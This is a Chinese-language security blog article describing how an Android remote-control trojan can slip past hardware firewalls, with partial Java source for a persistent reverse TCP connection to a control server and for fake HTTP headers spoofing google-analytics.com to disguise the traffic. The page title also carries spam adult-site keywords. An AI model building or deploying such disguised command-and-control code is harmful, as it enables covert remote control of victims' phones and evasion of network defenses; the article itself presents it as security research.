压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

對手機遠程控制軟件穿透硬件防火墻的分析和研究

  首先來說說本人對防火墻的一些認識,防火墻就是攔截和過濾外部網(wǎng)絡“不安全的網(wǎng)絡”對內部網(wǎng)絡“可信網(wǎng)絡” 數(shù)據(jù)包傳輸?shù)囊粋€工具。反過來也是可以的(內部網(wǎng)絡到外部網(wǎng)絡),可以是軟件防火墻,也可以硬件防火墻。它的原理就是對 TCP/IP 協(xié)議族中的網(wǎng)絡層和傳輸層以及應用層中的數(shù)據(jù)包進行分析和過濾。

  關于防火墻更加詳細的說明可以參考百度百科http://baike.baidu.com/subview/3067/9048966.htm

  本文研究的內容可能包含攻擊性,僅供安全研究和教學用途,禁止非法利用

  手機遠程控制軟件穿墻研究

  下面進入正題,今天討論的手機遠程控制(以下簡稱遠控)主要指的是Android類手機遠控,采用TCP 反彈連接的方式上線。反彈連接上線這種方式對于研究安全技術的人來說再熟悉不過了,比如說幾年前的灰鴿子遠控, 上興遠控, PCShare, PosionIvy  等等。

  這種上線方式就是大家常說的C/S(client/server)模式;不同于C/S模式,B/S(brower/server)模式數(shù)據(jù)包傳輸走的是HTTP或者HTTPS協(xié)議。

  穿透硬件防火墻的方法有很多種, 比如說走ICMP 協(xié)議的后門,可以穿透一部分防火墻(取決于防火墻的過濾規(guī)則),還有走HTTP/HTTPs協(xié)議的B/S類遠控后門,這類遠控上線很隱蔽,不易被察覺。但是它們都有一個特點,就是數(shù)據(jù)傳輸協(xié)議單一,一旦被發(fā)現(xiàn),就很難逃脫,因為發(fā)送的http 請求頭都是固定的,比如大家常用的掃描web服務器的工具AcunetixWeb Vulnerability Scanner,Netsparker 等等;它們的http 請求頭都很特殊。B/S類遠控后門也一樣。

  我這里的思路是什么呢? 數(shù)據(jù)包傳輸還得用tcp反彈連接 ,但是數(shù)據(jù)包是偽造的。比如偽造成http 協(xié)議,或者任意一種應用層協(xié)議,如SMTP協(xié)議,DNS協(xié)議等等。

  下面我給出一部分關鍵源代碼:

  /**

  * 建立socket 反彈連接.

  *@return

  */

  new Thread()

  {

  public void run() {

  while(true)

  {

  try

  {

  Thread.sleep(2000);

  try

  {

  //從String.xml獲取上線域名和端口。

  socket = newSocket(InetAddress.getByName(domain.trim()),Integer.parseInt(port.trim()));

  booleanisConnected = socket.isConnected()&&!socket.isClosed();

  if(isConnected)

  {

  Log.d(TAG,socket.toString());

  socket.setKeepAlive(true);  //表示對于長時間處于空閑狀態(tài)的Socket,是否要自動把它關閉

  //socket.setTcpNoDelay(true);//TcpNoDelay=false,為啟用nagle算法

  BackConnTask(socket);

  }

  } catch(IOException e) {

  Log.e(TAG,e.toString());

  } finally{

  if(socket!=null)socket.close();

  }

  } catch (Exceptione) {

  Log.e(TAG,e.toString());

  }

  }

  };

  }.start();

  /**

  * 初始化http請求數(shù)據(jù).

  *@return

  */

  public String InitHttpGet()

  {

  StringBuilder request = newStringBuilder();

  String v1="Host:www.google-analytics.com
";

  String v2="User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0
";

  String v3="Accept:image/png,image/*;q=0.8,*/*;q=0.5
";

  String v4="Accept-Language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
";

  String v5="Accept-Encoding:gzip, deflate
";

  String v6="Connection:keep-alive

";

  request.append(v1).append(v2).append(v3).append(v4).append(v5).append(v6);

  //request.length()=266

  return request.toString();

  }

  上面的源代碼只是一小部分,源代碼的流程是這樣的,如下圖:

  這里只是一個初步的模型,數(shù)據(jù)包的前面一部分還是固定的。

  在wireshark 里看到 ,數(shù)據(jù)包由tcp 變成了 http 協(xié)議。數(shù)據(jù)內容也變成了http 的請求頭數(shù)據(jù)包。

  上圖是獲取WIFI 掃描信息,還有其他功能就不一一演示了。

  了解主流硬件防火墻

  下面我們再來看下主流的硬件防火墻都有哪些功能

  (注明:下面文字是從天融信官方網(wǎng)站上找到的)

  NGFW4000系列專用平臺產品采用最新的CCI技術,提供對OSI網(wǎng)絡模型所有層次上的網(wǎng)絡威脅的實時保護。網(wǎng)絡衛(wèi)士系列防火墻可對還原出來的應用層對象(如文件、網(wǎng)頁、郵件等)進行病毒查殺,并可檢查是否存在不良WEB內容、垃圾郵件、間諜軟件和網(wǎng)絡釣魚欺騙等其他威脅,實現(xiàn)徹底防范。

  狀態(tài)檢測只檢查數(shù)據(jù)包的包頭。

  深度包檢測可對數(shù)據(jù)包內容進行檢查。

  CCI可實時將網(wǎng)絡層數(shù)據(jù)還原為完整的應用層對象(如文件、網(wǎng)頁、郵件等),并對這些完整內容進行全面檢查,實現(xiàn)徹底的內容防護。

  支持入侵防御功能:

  支持應用層防御,入侵防御攻擊特征庫數(shù)量≥3500種,攻擊檢測率≥90%;支持對多種常用協(xié)議的協(xié)議識別和異常檢測,包括HTTP、FTP、SMTP、POP3、IMAP、MSRPC、NETBIOS、SMB、MS_SQL、TALNET、IRC、DNS等;支持入侵攻擊特征庫的分類顯示;支持用戶自定義規(guī)則;支持入侵攻擊特征庫自動升級,手動升級,離線升級,版本回退;響應方式支持阻斷、丟包、日志記錄等。

  從上面的描述可以分析得出, 硬件防火墻的功能還是很全面的。要想突破防火墻的過濾規(guī)則,就需要在發(fā)送數(shù)據(jù)包的時候繞過這些規(guī)則。

  我上面的源代碼實現(xiàn)的功能并不完善,以后的想法是實現(xiàn)受控端本地抓包,受控端用什么網(wǎng)絡協(xié)議,遠控就自動偽造成什么協(xié)議。達到的效果就是受控端能上網(wǎng),遠控也能上網(wǎng)。

  題外話

  我看過很多有關黑客類電影,比如:《虎膽龍威4》,《007》,《諜影重重》,《奪命手機》等等。你們想想看,美國國家安全局、中情局、英國軍情6處,它們用的什么硬件防火墻。是吧,肯定很牛X ,要想突破,談何容易。

上一篇:智能無懼挑戰(zhàn) 山石網(wǎng)科轟動RSA2015

下一篇:APT28:專攻軍事機構和情報部門的俄羅斯黑客組織